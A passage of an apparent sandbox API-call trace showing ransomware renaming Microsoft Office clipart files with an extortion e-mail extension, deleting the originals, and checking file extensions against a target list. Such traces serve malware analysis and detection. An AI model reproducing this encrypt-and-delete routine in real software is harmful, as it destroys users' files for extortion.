Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0216.693] GetLastError () returned 0x0 [0216.693] ReadFile (in: hFile=0x194, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x3ef0, lpOverlapped=0x0) returned 1 [0216.694] WriteFile (in: hFile=0x210, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x3f00, lpOverlapped=0x0) returned 1 [0216.695] ReadFile (in: hFile=0x194, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0216.695] WriteFile (in: hFile=0x210, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.695] SetEndOfFile (hFile=0x210) returned 1 [0216.695] CloseHandle (hObject=0x210) returned 1 [0216.695] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.695] SetEndOfFile (hFile=0x194) returned 1 [0216.696] CloseHandle (hObject=0x194) returned 1 [0216.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.696] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf")) returned 1 [0216.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0216.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0216.696] lstrlenW (lpString=".doc") returned 4 [0216.696] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.696] lstrlenW (lpString=".docx") returned 5 [0216.696] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.696] lstrlenW (lpString=".pdf") returned 4 [0216.696] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.696] lstrlenW (lpString=".xls") returned 4 [0216.697] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.697] lstrlenW (lpString=".xlsx") returned 5 [0216.697] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.697] lstrlenW (lpString=".ppt") returned 4 [0216.697] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0216.697] lstrlenW (lpString=".zip") returned 4 [0216.697] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.697] lstrlenW (lpString=".rar") returned 4 [0216.697] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.697] lstrlenW (lpString=".bz2") returned 4 [0216.697] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.697] lstrlenW (lpString=".7z") returned 3 [0216.697] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0216.697] lstrlenW (lpString=".dbf") returned 4 [0216.697] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0216.697] lstrlenW (lpString=".1cd") returned 4 [0216.697] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0216.697] lstrlenW (lpString=".jpg") returned 4 [0216.697] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.698] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=16676) returned 1 [0216.698] CloseHandle (hObject=0x194) returned 1 [0216.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x20 [0216.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0216.698] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.698] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0216.698] GetLastError () returned 0x0 [0216.698] ReadFile (in: hFile=0x194, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x4124, lpOverlapped=0x0) returned 1 [0216.703] WriteFile (in: hFile=0x210, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x4130, lpOverlapped=0x0) returned 1 [0216.704] ReadFile (in: hFile=0x194, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0216.704] WriteFile (in: hFile=0x210, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.704] SetEndOfFile (hFile=0x210) returned 1 [0216.704] CloseHandle (hObject=0x210) returned 1 [0216.704] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.704] SetEndOfFile (hFile=0x194) returned 1 [0216.705] CloseHandle (hObject=0x194) returned 1 [0216.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.705] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf")) returned 1 [0216.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0216.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0216.705] lstrlenW (lpString=".doc") returned 4 [0216.705] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.705] lstrlenW (lpString=".docx") returned 5 [0216.705] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.705] lstrlenW (lpString=".pdf") returned 4 [0216.705] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.705] lstrlenW (lpString=".xls") returned 4 [0216.705] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.705] lstrlenW (lpString=".xlsx") returned 5 [0216.705] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.705] lstrlenW (lpString=".ppt") returned 4 [0216.705] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0216.705] lstrlenW (lpString=".zip") returned 4 [0216.706] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.706] lstrlenW (lpString=".rar") returned 4 [0216.706] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.706] lstrlenW (lpString=".bz2") returned 4 [0216.706] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.706] lstrlenW (lpString=".7z") returned 3 [0216.706] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0216.706] lstrlenW (lpString=".dbf") returned 4 [0216.706] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0216.706] lstrlenW (lpString=".1cd") returned 4 [0216.706] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0216.706] lstrlenW (lpString=".jpg") returned 4 [0216.706] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.706] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=26748) returned 1 [0216.706] CloseHandle (hObject=0x194) returned 1 [0216.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x20 [0216.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0216.706] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.706] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0216.707] GetLastError () returned 0x0 [0216.707] ReadFile (in: hFile=0x194, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x687c, lpOverlapped=0x0) returned 1 [0216.717] WriteFile (in: hFile=0x210, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x6880, lpOverlapped=0x0) returned 1 [0216.718] ReadFile (in: hFile=0x194, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0216.718] WriteFile (in: hFile=0x210, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.718] SetEndOfFile (hFile=0x210) returned 1 [0216.719] CloseHandle (hObject=0x210) returned 1 [0216.719] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.719] SetEndOfFile (hFile=0x194) returned 1 [0216.719] CloseHandle (hObject=0x194) returned 1 [0216.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.720] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf")) returned 1 [0216.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0216.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0216.720] lstrlenW (lpString=".doc") returned 4 [0216.720] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.720] lstrlenW (lpString=".docx") returned 5 [0216.720] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.720] lstrlenW (lpString=".pdf") returned 4 [0216.720] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.720] lstrlenW (lpString=".xls") returned 4 [0216.720] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.720] lstrlenW (lpString=".xlsx") returned 5 [0216.720] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.720] lstrlenW (lpString=".ppt") returned 4 [0216.720] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0216.720] lstrlenW (lpString=".zip") returned 4 [0216.720] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.720] lstrlenW (lpString=".rar") returned 4 [0216.720] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.720] lstrlenW (lpString=".bz2") returned 4 [0216.720] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.720] lstrlenW (lpString=".7z") returned 3 [0216.720] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0216.720] lstrlenW (lpString=".dbf") returned 4 [0216.720] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0216.720] lstrlenW (lpString=".1cd") returned 4 [0216.720] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0216.720] lstrlenW (lpString=".jpg") returned 4 [0216.720] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.721] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=4924) returned 1 [0216.721] CloseHandle (hObject=0x194) returned 1 [0216.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x20 [0216.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0216.721] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.721] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0216.721] GetLastError () returned 0x0 [0216.721] ReadFile (in: hFile=0x194, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x133c, lpOverlapped=0x0) returned 1 [0216.726] WriteFile (in: hFile=0x210, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x1340, lpOverlapped=0x0) returned 1 [0216.727] ReadFile (in: hFile=0x194, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0216.727] WriteFile (in: hFile=0x210, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.727] SetEndOfFile (hFile=0x210) returned 1 [0216.727] CloseHandle (hObject=0x210) returned 1 [0216.727] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.727] SetEndOfFile (hFile=0x194) returned 1 [0216.728] CloseHandle (hObject=0x194) returned 1 [0216.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.728] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf")) returned 1 [0216.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0216.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0216.728] lstrlenW (lpString=".doc") returned 4 [0216.728] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.728] lstrlenW (lpString=".docx") returned 5 [0216.728] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.728] lstrlenW (lpString=".pdf") returned 4 [0216.728] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.728] lstrlenW (lpString=".xls") returned 4 [0216.728] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.728] lstrlenW (lpString=".xlsx") returned 5 [0216.728] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.728] lstrlenW (lpString=".ppt") returned 4 [0216.728] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0216.728] lstrlenW (lpString=".zip") returned 4 [0216.728] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.728] lstrlenW (lpString=".rar") returned 4 [0216.728] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.728] lstrlenW (lpString=".bz2") returned 4 [0216.728] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.728] lstrlenW (lpString=".7z") returned 3 [0216.729] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0216.729] lstrlenW (lpString=".dbf") returned 4 [0216.729] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0216.729] lstrlenW (lpString=".1cd") returned 4 [0216.729] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0216.729] lstrlenW (lpString=".jpg") returned 4 [0216.729] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.729] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=4066) returned 1 [0216.729] CloseHandle (hObject=0x194) returned 1 [0216.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x20 [0216.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0216.730] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.730] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0216.730] GetLastError () returned 0x0 [0216.730] ReadFile (in: hFile=0x194, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0xfe2, lpOverlapped=0x0) returned 1 [0216.731] WriteFile (in: hFile=0x210, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xff0, lpOverlapped=0x0) returned 1 [0216.732] ReadFile (in: hFile=0x194, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0216.732] WriteFile (in: hFile=0x210, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.732] SetEndOfFile (hFile=0x210) returned 1 [0216.732] CloseHandle (hObject=0x210) returned 1 [0216.733] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.733] SetEndOfFile (hFile=0x194) returned 1 [0216.733] CloseHandle (hObject=0x194) returned 1 [0216.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.733] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf")) returned 1 [0216.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0216.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0216.734] lstrlenW (lpString=".doc") returned 4 [0216.734] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.734] lstrlenW (lpString=".docx") returned 5 [0216.734] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.734] lstrlenW (lpString=".pdf") returned 4 [0216.734] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.734] lstrlenW (lpString=".xls") returned 4 [0216.734] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.734] lstrlenW (lpString=".xlsx") returned 5 [0216.734] 